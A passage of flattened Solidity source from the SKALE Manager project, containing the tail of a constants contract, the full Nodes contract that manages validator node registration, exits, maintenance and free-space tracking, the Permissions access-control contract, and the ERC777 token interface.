function setLimitValidatorsPerDelegator(uint newLimit) external onlyOwner {
limitValidatorsPerDelegator = newLimit;
}
function setSchainCreationTimeStamp(uint timestamp) external onlyOwner {
schainCreationTimeStamp = timestamp;
}
function setMinimalSchainLifetime(uint lifetime) external onlyOwner {
minimalSchainLifetime = lifetime;
}
function setComplaintTimelimit(uint timelimit) external onlyOwner {
complaintTimelimit = timelimit;
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
msr = 0;
rewardPeriod = 2592000;
allowableLatency = 150000;
deltaPeriod = 3600;
checkTime = 300;
launchTimestamp = uint(-1);
rotationDelay = 12 hours;
proofOfUseLockUpPeriodDays = 90;
proofOfUseDelegationPercentage = 50;
limitValidatorsPerDelegator = 20;
firstDelegationsMonth = 0;
complaintTimelimit = 1800;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Nodes.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/utils/SafeCast.sol";
import "./delegation/DelegationController.sol";
import "./delegation/ValidatorService.sol";
import "./utils/Random.sol";
import "./utils/SegmentTree.sol";
import "./BountyV2.sol";
import "./ConstantsHolder.sol";
import "./Permissions.sol";
/**
* @title Nodes
* @dev This contract contains all logic to manage SKALE Network nodes states,
* space availability, stake requirement checks, and exit functions.
*
* Nodes may be in one of several states:
*
* - Active: Node is registered and is in network operation.
* - Leaving: Node has begun exiting from the network.
* - Left: Node has left the network.
* - In_Maintenance: Node is temporarily offline or undergoing infrastructure
* maintenance
*
* Note: Online nodes contain both Active and Leaving states.
*/
contract Nodes is Permissions {
using Random for Random.RandomGenerator;
using SafeCast for uint;
using SegmentTree for SegmentTree.Tree;
// All Nodes states
enum NodeStatus {Active, Leaving, Left, In_Maintenance}
struct Node {
string name;
bytes4 ip;
bytes4 publicIP;
uint16 port;
bytes32[2] publicKey;
uint startBlock;
uint lastRewardDate;
uint finishTime;
NodeStatus status;
uint validatorId;
}
// struct to note which Nodes and which number of Nodes owned by user
struct CreatedNodes {
mapping (uint => bool) isNodeExist;
uint numberOfNodes;
}
struct SpaceManaging {
uint8 freeSpace;
uint indexInSpaceMap;
}
// TODO: move outside the contract
struct NodeCreationParams {
string name;
bytes4 ip;
bytes4 publicIp;
uint16 port;
bytes32[2] publicKey;
uint16 nonce;
string domainName;
}
// array which contain all Nodes
Node[] public nodes;
SpaceManaging[] public spaceOfNodes;
// mapping for checking which Nodes and which number of Nodes owned by user
mapping (address => CreatedNodes) public nodeIndexes;
// mapping for checking is IP address busy
mapping (bytes4 => bool) public nodesIPCheck;
// mapping for checking is Name busy
mapping (bytes32 => bool) public nodesNameCheck;
// mapping for indication from Name to Index
mapping (bytes32 => uint) public nodesNameToIndex;
// mapping for indication from space to Nodes
mapping (uint8 => uint[]) public spaceToNodes;
mapping (uint => uint[]) public validatorToNodeIndexes;
uint public numberOfActiveNodes;
uint public numberOfLeavingNodes;
uint public numberOfLeftNodes;
mapping (uint => string) public domainNames;
mapping (uint => bool) private _invisible;
SegmentTree.Tree private _nodesAmountBySpace;
/**
* @dev Emitted when a node is created.
*/
event NodeCreated(
uint nodeIndex,
address owner,
string name,
bytes4 ip,
bytes4 publicIP,
uint16 port,
uint16 nonce,
string domainName,
uint time,
uint gasSpend
);
/**
* @dev Emitted when a node completes a network exit.
*/
event ExitCompleted(
uint nodeIndex,
uint time,
uint gasSpend
);
/**
* @dev Emitted when a node begins to exit from the network.
*/
event ExitInitialized(
uint nodeIndex,
uint startLeavingPeriod,
uint time,
uint gasSpend
);
modifier checkNodeExists(uint nodeIndex) {
_checkNodeIndex(nodeIndex);
_;
}
modifier onlyNodeOrAdmin(uint nodeIndex) {
_checkNodeOrAdmin(nodeIndex, msg.sender);
_;
}
function initializeSegmentTreeAndInvisibleNodes() external onlyOwner {
for (uint i = 0; i < nodes.length; i++) {
if (nodes[i].status != NodeStatus.Active && nodes[i].status != NodeStatus.Left) {
_invisible[i] = true;
_removeNodeFromSpaceToNodes(i, spaceOfNodes[i].freeSpace);
}
}
uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE();
_nodesAmountBySpace.create(totalSpace);
for (uint8 i = 1; i <= totalSpace; i++) {
if (spaceToNodes[i].length > 0)
_nodesAmountBySpace.addToPlace(i, spaceToNodes[i].length);
}
}
/**
* @dev Allows Schains and SchainsInternal contracts to occupy available
* space on a node.
*
* Returns whether operation is successful.
*/
function removeSpaceFromNode(uint nodeIndex, uint8 space)
external
checkNodeExists(nodeIndex)
allowTwo("NodeRotation", "SchainsInternal")
returns (bool)
{
if (spaceOfNodes[nodeIndex].freeSpace < space) {
return false;
}
if (space > 0) {
_moveNodeToNewSpaceMap(
nodeIndex,
uint(spaceOfNodes[nodeIndex].freeSpace).sub(space).toUint8()
);
}
return true;
}
/**
* @dev Allows Schains contract to occupy free space on a node.
*
* Returns whether operation is successful.
*/
function addSpaceToNode(uint nodeIndex, uint8 space)
external
checkNodeExists(nodeIndex)
allowTwo("Schains", "NodeRotation")
{
if (space > 0) {
_moveNodeToNewSpaceMap(
nodeIndex,
uint(spaceOfNodes[nodeIndex].freeSpace).add(space).toUint8()
);
}
}
/**
* @dev Allows SkaleManager to change a node's last reward date.
*/
function changeNodeLastRewardDate(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
nodes[nodeIndex].lastRewardDate = block.timestamp;
}
/**
* @dev Allows SkaleManager to change a node's finish time.
*/
function changeNodeFinishTime(uint nodeIndex, uint time)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
nodes[nodeIndex].finishTime = time;
}
/**
* @dev Allows SkaleManager contract to create new node and add it to the
* Nodes contract.
*
* Emits a {NodeCreated} event.
*
* Requirements:
*
* - Node IP must be non-zero.
* - Node IP must be available.
* - Node name must not already be registered.
* - Node port must be greater than zero.
*/
function createNode(address from, NodeCreationParams calldata params)
external
allow("SkaleManager")
{
// checks that Node has correct data
require(params.ip != 0x0 && !nodesIPCheck[params.ip], "IP address is zero or is not available");
require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered");
require(params.port > 0, "Port is zero");
require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect");
uint validatorId = ValidatorService(
contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from);
uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE();
nodes.push(Node({
name: params.name,
ip: params.ip,
publicIP: params.publicIp,
port: params.port,
publicKey: params.publicKey,
startBlock: block.number,
lastRewardDate: block.timestamp,
finishTime: 0,
status: NodeStatus.Active,
validatorId: validatorId
}));
uint nodeIndex = nodes.length.sub(1);
validatorToNodeIndexes[validatorId].push(nodeIndex);
bytes32 nodeId = keccak256(abi.encodePacked(params.name));
nodesIPCheck[params.ip] = true;
nodesNameCheck[nodeId] = true;
nodesNameToIndex[nodeId] = nodeIndex;
nodeIndexes[from].isNodeExist[nodeIndex] = true;
nodeIndexes[from].numberOfNodes++;
domainNames[nodeIndex] = params.domainName;
spaceOfNodes.push(SpaceManaging({
freeSpace: totalSpace,
indexInSpaceMap: spaceToNodes[totalSpace].length
}));
_setNodeActive(nodeIndex);
emit NodeCreated(
nodeIndex,
from,
params.name,
params.ip,
params.publicIp,
params.port,
params.nonce,
params.domainName,
block.timestamp,
gasleft());
}
/**
* @dev Allows SkaleManager contract to initiate a node exit procedure.
*
* Returns whether the operation is successful.
*
* Emits an {ExitInitialized} event.
*/
function initExit(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
returns (bool)
{
require(isNodeActive(nodeIndex), "Node should be Active");
_setNodeLeaving(nodeIndex);
emit ExitInitialized(
nodeIndex,
block.timestamp,
block.timestamp,
gasleft());
return true;
}
/**
* @dev Allows SkaleManager contract to complete a node exit procedure.
*
* Returns whether the operation is successful.
*
* Emits an {ExitCompleted} event.
*
* Requirements:
*
* - Node must have already initialized a node exit procedure.
*/
function completeExit(uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
returns (bool)
{
require(isNodeLeaving(nodeIndex), "Node is not Leaving");
_setNodeLeft(nodeIndex);
emit ExitCompleted(
nodeIndex,
block.timestamp,
gasleft());
return true;
}
/**
* @dev Allows SkaleManager contract to delete a validator's node.
*
* Requirements:
*
* - Validator ID must exist.
*/
function deleteNodeForValidator(uint validatorId, uint nodeIndex)
external
checkNodeExists(nodeIndex)
allow("SkaleManager")
{
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
uint[] memory validatorNodes = validatorToNodeIndexes[validatorId];
uint position = _findNode(validatorNodes, nodeIndex);
if (position < validatorNodes.length) {
validatorToNodeIndexes[validatorId][position] =
validatorToNodeIndexes[validatorId][validatorNodes.length.sub(1)];
}
validatorToNodeIndexes[validatorId].pop();
address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey);
if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) {
if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) {
validatorService.removeNodeAddress(validatorId, nodeOwner);
}
nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false;
nodeIndexes[nodeOwner].numberOfNodes--;
}
}
/**
* @dev Allows SkaleManager contract to check whether a validator has
* sufficient stake to create another node.
*
* Requirements:
*
* - Validator must be included on trusted list if trusted list is enabled.
* - Validator must have sufficient stake to operate an additional node.
*/
function checkPossibilityCreatingNode(address nodeAddress) external allow("SkaleManager") {
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress);
require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node");
require(
_checkValidatorPositionToMaintainNode(validatorId, validatorToNodeIndexes[validatorId].length),
"Validator must meet the Minimum Staking Requirement");
}
/**
* @dev Allows SkaleManager contract to check whether a validator has
* sufficient stake to maintain a node.
*
* Returns whether validator can maintain node with current stake.
*
* Requirements:
*
* - Validator ID and nodeIndex must both exist.
*/
function checkPossibilityToMaintainNode(
uint validatorId,
uint nodeIndex
)
external
checkNodeExists(nodeIndex)
allow("Bounty")
returns (bool)
{
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
uint[] memory validatorNodes = validatorToNodeIndexes[validatorId];
uint position = _findNode(validatorNodes, nodeIndex);
require(position < validatorNodes.length, "Node does not exist for this Validator");
return _checkValidatorPositionToMaintainNode(validatorId, position);
}
/**
* @dev Allows Node to set In_Maintenance status.
*
* Requirements:
*
* - Node must already be Active.
* - `msg.sender` must be owner of Node, validator, or SkaleManager.
*/
function setNodeInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) {
require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active");
_setNodeInMaintenance(nodeIndex);
}
/**
* @dev Allows Node to remove In_Maintenance status.
*
* Requirements:
*
* - Node must already be In Maintenance.
* - `msg.sender` must be owner of Node, validator, or SkaleManager.
*/
function removeNodeFromInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) {
require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance");
_setNodeActive(nodeIndex);
}
function setDomainName(uint nodeIndex, string memory domainName)
external
onlyNodeOrAdmin(nodeIndex)
{
domainNames[nodeIndex] = domainName;
}
function makeNodeVisible(uint nodeIndex) external allow("SchainsInternal") {
_makeNodeVisible(nodeIndex);
}
function makeNodeInvisible(uint nodeIndex) external allow("SchainsInternal") {
_makeNodeInvisible(nodeIndex);
}
function getRandomNodeWithFreeSpace(
uint8 freeSpace,
Random.RandomGenerator memory randomGenerator
)
external
view
returns (uint)
{
uint8 place = _nodesAmountBySpace.getRandomNonZeroElementFromPlaceToLast(
freeSpace == 0 ? 1 : freeSpace,
randomGenerator
).toUint8();
require(place > 0, "Node not found");
return spaceToNodes[place][randomGenerator.random(spaceToNodes[place].length)];
}
/**
* @dev Checks whether it is time for a node's reward.
*/
function isTimeForReward(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= now;
}
/**
* @dev Returns IP address of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodeIP(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bytes4)
{
require(nodeIndex < nodes.length, "Node does not exist");
return nodes[nodeIndex].ip;
}
/**
* @dev Returns domain name of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodeDomainName(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (string memory)
{
return domainNames[nodeIndex];
}
/**
* @dev Returns the port of a given node.
*
* Requirements:
*
* - Node must exist.
*/
function getNodePort(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint16)
{
return nodes[nodeIndex].port;
}
/**
* @dev Returns the public key of a given node.
*/
function getNodePublicKey(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bytes32[2] memory)
{
return nodes[nodeIndex].publicKey;
}
/**
* @dev Returns an address of a given node.
*/
function getNodeAddress(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (address)
{
return _publicKeyToAddress(nodes[nodeIndex].publicKey);
}
/**
* @dev Returns the finish exit time of a given node.
*/
function getNodeFinishTime(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].finishTime;
}
/**
* @dev Checks whether a node has left the network.
*/
function isNodeLeft(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Left;
}
function isNodeInMaintenance(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.In_Maintenance;
}
/**
* @dev Returns a given node's last reward date.
*/
function getNodeLastRewardDate(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].lastRewardDate;
}
/**
* @dev Returns a given node's next reward date.
*/
function getNodeNextRewardDate(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (uint)
{
return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex);
}
/**
* @dev Returns the total number of registered nodes.
*/
function getNumberOfNodes() external view returns (uint) {
return nodes.length;
}
/**
* @dev Returns the total number of online nodes.
*
* Note: Online nodes are equal to the number of active plus leaving nodes.
*/
function getNumberOnlineNodes() external view returns (uint) {
return numberOfActiveNodes.add(numberOfLeavingNodes);
}
/**
* @dev Return active node IDs.
*/
function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) {
activeNodeIds = new uint[](numberOfActiveNodes);
uint indexOfActiveNodeIds = 0;
for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) {
if (isNodeActive(indexOfNodes)) {
activeNodeIds[indexOfActiveNodeIds] = indexOfNodes;
indexOfActiveNodeIds++;
}
}
}
/**
* @dev Return a given node's current status.
*/
function getNodeStatus(uint nodeIndex)
external
view
checkNodeExists(nodeIndex)
returns (NodeStatus)
{
return nodes[nodeIndex].status;
}
/**
* @dev Return a validator's linked nodes.
*
* Requirements:
*
* - Validator ID must exist.
*/
function getValidatorNodeIndexes(uint validatorId) external view returns (uint[] memory) {
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
require(validatorService.validatorExists(validatorId), "Validator ID does not exist");
return validatorToNodeIndexes[validatorId];
}
/**
* @dev Returns number of nodes with available space.
*/
function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) {
if (freeSpace == 0) {
return _nodesAmountBySpace.sumFromPlaceToLast(1);
}
return _nodesAmountBySpace.sumFromPlaceToLast(freeSpace);
}
/**
* @dev constructor in Permissions approach.
*/
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
numberOfActiveNodes = 0;
numberOfLeavingNodes = 0;
numberOfLeftNodes = 0;
_nodesAmountBySpace.create(128);
}
/**
* @dev Returns the Validator ID for a given node.
*/
function getValidatorId(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (uint)
{
return nodes[nodeIndex].validatorId;
}
/**
* @dev Checks whether a node exists for a given address.
*/
function isNodeExist(address from, uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodeIndexes[from].isNodeExist[nodeIndex];
}
/**
* @dev Checks whether a node's status is Active.
*/
function isNodeActive(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Active;
}
/**
* @dev Checks whether a node's status is Leaving.
*/
function isNodeLeaving(uint nodeIndex)
public
view
checkNodeExists(nodeIndex)
returns (bool)
{
return nodes[nodeIndex].status == NodeStatus.Leaving;
}
function _removeNodeFromSpaceToNodes(uint nodeIndex, uint8 space) internal {
uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap;
uint len = spaceToNodes[space].length.sub(1);
if (indexInArray < len) {
uint shiftedIndex = spaceToNodes[space][len];
spaceToNodes[space][indexInArray] = shiftedIndex;
spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray;
}
spaceToNodes[space].pop();
delete spaceOfNodes[nodeIndex].indexInSpaceMap;
}
function _getNodesAmountBySpace() internal view returns (SegmentTree.Tree storage) {
return _nodesAmountBySpace;
}
/**
* @dev Returns the index of a given node within the validator's node index.
*/
function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) {
uint i;
for (i = 0; i < validatorNodeIndexes.length; i++) {
if (validatorNodeIndexes[i] == nodeIndex) {
return i;
}
}
return validatorNodeIndexes.length;
}
/**
* @dev Moves a node to a new space mapping.
*/
function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private {
if (!_invisible[nodeIndex]) {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_removeNodeFromTree(space);
_addNodeToTree(newSpace);
_removeNodeFromSpaceToNodes(nodeIndex, space);
_addNodeToSpaceToNodes(nodeIndex, newSpace);
}
spaceOfNodes[nodeIndex].freeSpace = newSpace;
}
/**
* @dev Changes a node's status to Active.
*/
function _setNodeActive(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.Active;
numberOfActiveNodes = numberOfActiveNodes.add(1);
if (_invisible[nodeIndex]) {
_makeNodeVisible(nodeIndex);
} else {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_addNodeToSpaceToNodes(nodeIndex, space);
_addNodeToTree(space);
}
}
/**
* @dev Changes a node's status to In_Maintenance.
*/
function _setNodeInMaintenance(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.In_Maintenance;
numberOfActiveNodes = numberOfActiveNodes.sub(1);
_makeNodeInvisible(nodeIndex);
}
/**
* @dev Changes a node's status to Left.
*/
function _setNodeLeft(uint nodeIndex) private {
nodesIPCheck[nodes[nodeIndex].ip] = false;
nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false;
delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))];
if (nodes[nodeIndex].status == NodeStatus.Active) {
numberOfActiveNodes--;
} else {
numberOfLeavingNodes--;
}
nodes[nodeIndex].status = NodeStatus.Left;
numberOfLeftNodes++;
delete spaceOfNodes[nodeIndex].freeSpace;
}
/**
* @dev Changes a node's status to Leaving.
*/
function _setNodeLeaving(uint nodeIndex) private {
nodes[nodeIndex].status = NodeStatus.Leaving;
numberOfActiveNodes--;
numberOfLeavingNodes++;
_makeNodeInvisible(nodeIndex);
}
function _makeNodeInvisible(uint nodeIndex) private {
if (!_invisible[nodeIndex]) {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_removeNodeFromSpaceToNodes(nodeIndex, space);
_removeNodeFromTree(space);
_invisible[nodeIndex] = true;
}
}
function _makeNodeVisible(uint nodeIndex) private {
if (_invisible[nodeIndex]) {
uint8 space = spaceOfNodes[nodeIndex].freeSpace;
_addNodeToSpaceToNodes(nodeIndex, space);
_addNodeToTree(space);
delete _invisible[nodeIndex];
}
}
function _addNodeToSpaceToNodes(uint nodeIndex, uint8 space) private {
spaceToNodes[space].push(nodeIndex);
spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[space].length.sub(1);
}
function _addNodeToTree(uint8 space) private {
if (space > 0) {
_nodesAmountBySpace.addToPlace(space, 1);
}
}
function _removeNodeFromTree(uint8 space) private {
if (space > 0) {
_nodesAmountBySpace.removeFromPlace(space, 1);
}
}
function _checkValidatorPositionToMaintainNode(uint validatorId, uint position) private returns (bool) {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController")
);
uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId);
uint msr = ConstantsHolder(contractManager.getConstantsHolder()).msr();
return position.add(1).mul(msr) <= delegationsTotal;
}
function _checkNodeIndex(uint nodeIndex) private view {
require(nodeIndex < nodes.length, "Node with such index does not exist");
}
function _checkNodeOrAdmin(uint nodeIndex, address sender) private view {
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
require(
isNodeExist(sender, nodeIndex) ||
_isAdmin(sender) ||
getValidatorId(nodeIndex) == validatorService.getValidatorId(sender),
"Sender is not permitted to call this function"
);
}
function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1]));
bytes20 addr;
for (uint8 i = 12; i < 32; i++) {
addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8);
}
return address(addr);
}
function _min(uint a, uint b) private pure returns (uint) {
if (a < b) {
return a;
} else {
return b;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Permissions.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol";
import "./ContractManager.sol";
/**
* @title Permissions
* @dev Contract is connected module for Upgradeable approach, knows ContractManager
*/
contract Permissions is AccessControlUpgradeSafe {
using SafeMath for uint;
using Address for address;
ContractManager public contractManager;
/**
* @dev Modifier to make a function callable only when caller is the Owner.
*
* Requirements:
*
* - The caller must be the owner.
*/
modifier onlyOwner() {
require(_isOwner(), "Caller is not the owner");
_;
}
/**
* @dev Modifier to make a function callable only when caller is an Admin.
*
* Requirements:
*
* - The caller must be an admin.
*/
modifier onlyAdmin() {
require(_isAdmin(msg.sender), "Caller is not an admin");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName` contract.
*
* Requirements:
*
* - The caller must be the owner or `contractName`.
*/
modifier allow(string memory contractName) {
require(
contractManager.getContract(contractName) == msg.sender || _isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1` or `contractName2` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, or `contractName2`.
*/
modifier allowTwo(string memory contractName1, string memory contractName2) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1`, `contractName2`, or `contractName3` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, `contractName2`, or
* `contractName3`.
*/
modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
contractManager.getContract(contractName3) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
function initialize(address contractManagerAddress) public virtual initializer {
AccessControlUpgradeSafe.__AccessControl_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setContractManager(contractManagerAddress);
}
function _isOwner() internal view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function _isAdmin(address account) internal view returns (bool) {
address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager")));
if (skaleManagerAddress != address(0)) {
AccessControlUpgradeSafe skaleManager = AccessControlUpgradeSafe(skaleManagerAddress);
return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner();
} else {
return _isOwner();
}
}
function _setContractManager(address contractManagerAddress) private {
require(contractManagerAddress != address(0), "ContractManager address is not set");
require(contractManagerAddress.isContract(), "Address is not contract");
contractManager = ContractManager(contractManagerAddress);
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(address recipient, uint256 amount, bytes calldata data) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
